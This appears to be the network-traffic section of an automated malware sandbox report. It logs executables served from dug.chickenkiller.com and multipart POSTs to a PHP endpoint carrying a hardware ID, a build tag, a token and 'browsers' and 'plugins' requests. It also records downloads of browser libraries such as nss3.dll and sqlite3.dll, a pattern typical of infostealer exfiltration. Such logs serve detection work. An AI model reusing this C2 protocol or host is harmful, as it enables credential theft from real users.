Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Mar 2025 09:44:11 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "6dde8-6288a270f12d2"Accept-Ranges: bytesX-Served-By: dug.chickenkiller.comData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Mar 2025 09:44:12 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "1f3950-6288a27148177"Accept-Ranges: bytesX-Served-By: dug.chickenkiller.comData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Mar 2025 09:44:14 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "3ef50-6288a27148177"Accept-Ranges: bytesX-Served-By: dug.chickenkiller.comData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Mar 2025 09:44:15 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "13bf0-6288a2718985b"Accept-Ranges: bytesX-Served-By: dug.chickenkiller.comData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: dug.chickenkiller.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: dug.chickenkiller.comContent-Length: 213Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 42 35 36 31 39 43 32 32 43 30 35 32 34 35 38 35 30 34 38 39 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 72 61 66 66 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="hwid"7B5619C22C052458504893------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="build"traff1------GHIDGDHCGCBAKFHIIIII--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEBHost: dug.chickenkiller.comContent-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 66 35 61 34 38 66 38 65 61 35 38 64 65 34 65 32 32 39 63 31 36 32 61 66 30 37 64 66 30 39 37 34 38 35 39 62 33 65 63 66 61 33 32 37 31 65 34 64 35 61 62 61 30 39 31 64 62 62 30 66 63 31 34 31 62 61 61 66 62 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"abf5a48f8ea58de4e229c162af07df0974859b3ecfa3271e4d5aba091dbb0fc141baafbc------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"browsers------GHJEGCAEGIIIDHIEBKEB--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJKHost: dug.chickenkiller.comContent-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 66 35 61 34 38 66 38 65 61 35 38 64 65 34 65 32 32 39 63 31 36 32 61 66 30 37 64 66 30 39 37 34 38 35 39 62 33 65 63 66 61 33 32 37 31 65 34 64 35 61 62 61 30 39 31 64 62 62 30 66 63 31 34 31 62 61 61 66 62 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="token"abf5a48f8ea58de4e229c162af07df0974859b3ecfa3271e4d5aba091dbb0fc141baafbc------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="message"plugins------CGIEGHJEGHJKFIEBFHJK--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: dug.chickenkiller.comContent-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 66 35 61 34 38 66 38 65 61 35 38 64 65 34 65 32 32 39 63 31 36 32 61 66 30 37 64 66 30 39 37 34 38 35 39 62 33 65 63 66 61 33 32 37 31 65 34 64 35 61 62 61 30 39 31 64 62 62 30 66 63 31 34 31 62 61 61 66 62 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"abf5a48f8ea58de4e229c162af07df0974859b3ecfa3271e4d5aba091dbb0fc141baafbc------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="message"fplugins------GHIDGDHCGCBAKFHIIIII--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIHost: dug.chickenkiller.comContent-Length: 5803Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/sqlite3.dll HTTP/1.1Host: dug.chickenkiller.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGCHost: dug.chickenkiller.comContent-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 66 35 61 34 38 66 38 65 61 35 38 64 65 34 65 32 32 39 63 31 36 32 61 66 30 37 64 66 30 39 37 34 38 35 39 62 33 65 63 66 61 33 32 37 31 65 34 64 35 61 62 61 30 39 31 64 62 62 30 66 63 31 34 31 62 61 61 66 62 63 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 2d 2d 0d 0a Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="token"abf5a48f8ea58de4e229c162af07df0974859b3ecfa3271e4d5aba091dbb0fc141baafbc------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file"------BKFCAFCFBAEHIDHJDBGC--
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFHost: dug.chickenkiller.comContent-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST //gtthfbsb2h.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEBHost: dug.chickenkiller.comContent-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 66 35 61 34 38 66 38 65 61 35 38 64 65 34 65 32 32 39 63 31 36 32 61 66 30 37 64 66 30 39 37 34 38 35 39 62 33 65 63 66 61 33 32 37 31 65 34 64 35 61 62 61 30 39 31 64 62 62 30 66 63 31 34 31 62 61 61 66 62 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"abf5a48f8ea58de4e229c162af07df0974859b3ecfa3271e4d5aba091dbb0fc141baafbc------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="file"------GIIJEBAECGCBKECAAAEB--
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/freebl3.dll HTTP/1.1Host: dug.chickenkiller.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/mozglue.dll HTTP/1.1Host: dug.chickenkiller.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/msvcp140.dll HTTP/1.1Host: dug.chickenkiller.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/nss3.dll HTTP/1.1Host: dug.chickenkiller.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/softokn3.dll HTTP/1.1Host: dug.chickenkiller.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //kj2h34kj23h4/vcruntime140.dll HTTP/1.1Host: dug.chickenkiller.comCache-Control: no-cache
